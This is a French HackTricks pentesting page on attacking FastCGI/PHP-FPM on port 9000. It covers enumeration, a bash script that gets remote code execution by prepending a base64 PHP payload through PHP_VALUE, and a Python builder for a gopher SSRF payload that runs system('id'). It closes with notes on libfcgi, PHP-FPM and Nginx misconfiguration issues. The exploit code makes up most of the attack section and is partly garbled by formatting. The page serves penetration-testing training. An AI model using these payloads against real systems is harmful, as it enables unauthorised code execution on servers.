9000 Pentesting FastCGI
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Si vous voulez apprendre ce qu’est FastCGI, consultez la page suivante :
disable_functions bypass - php-fpm/FastCGI
Par défaut, FastCGI s’exécute sur le port 9000 et n’est pas reconnu par nmap. Habituellement, FastCGI n’écoute que sur localhost.
Enumération / Vérifications rapides
- Scan de ports :
nmap -sV -p9000 <target>(affichera souvent le service “unknown” ; tester manuellement). - Interroger la page de statut FPM :
SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000(php-fpmpm.status_pathpar défaut). - Trouver des sockets joignables via SSRF : si un service HTTP est exploitable via SSRF, essayez des payloads
gopher://127.0.0.1:9000/_...pour atteindre le listener FastCGI. - Mauvaises configurations Nginx : des erreurs
fastcgi_split_path_infoaveccgi.fix_pathinfo=1vous permettent d’ajouter/.phpaux fichiers statiques et d’atteindre PHP (code exec via traversal).
RCE
Il est assez facile de faire exécuter du code arbitraire par FastCGI :
Envoyer une requête FastCGI qui préfixe un payload PHP
```bash #!/bin/bashPAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path
HOST=$1 B64=$(echo “$PAYLOAD”|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT done
</details>
ou vous pouvez aussi utiliser le script Python suivant : [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
### SSRF/gopher vers FastCGI (lorsque 9000 n'est pas directement accessible)
Si vous ne contrôlez qu'une primitive **SSRF**, vous pouvez quand même atteindre FastCGI en utilisant le protocole gopher et construire une requête FastCGI complète. Exemple de générateur de payload :
<details>
<summary>Construire et envoyer un payload gopher FastCGI RCE</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"
def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload = rec(4, enc_params(params)) + rec(4, b"") # FCGI_PARAMS + terminator
payload += rec(5, body) # FCGI_STDIN
s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))
Convertissez payload en base64 compatible URL / encodage pourcentage et envoyez-le via gopher://host:9000/_<payload> dans votre SSRF.
Notes sur les problèmes récents
- libfcgi <= 2.4.4 integer overflow (2024): des
nameLen/valueLenconçus dans les enregistrements FastCGI peuvent déborder sur des builds 32‑bit (courants dans l’embedded/IoT), entraînant une RCE sur le heap lorsque la socket FastCGI est atteignable (directement ou via SSRF). - PHP-FPM log manipulation (CVE-2024-9026): lorsque
catch_workers_output = yes, des attaquants capables d’envoyer des requêtes FastCGI peuvent tronquer ou injecter jusqu’à 4 octets par ligne de log pour effacer des indicateurs ou empoisonner les logs. - Classic Nginx + cgi.fix_pathinfo misconfig: encore largement observé ; si
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;est utilisé sans vérification d’existence de fichier, tout chemin se terminant par.phpest exécuté, permettant des gadgets de type path traversal ou source overwrite.
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


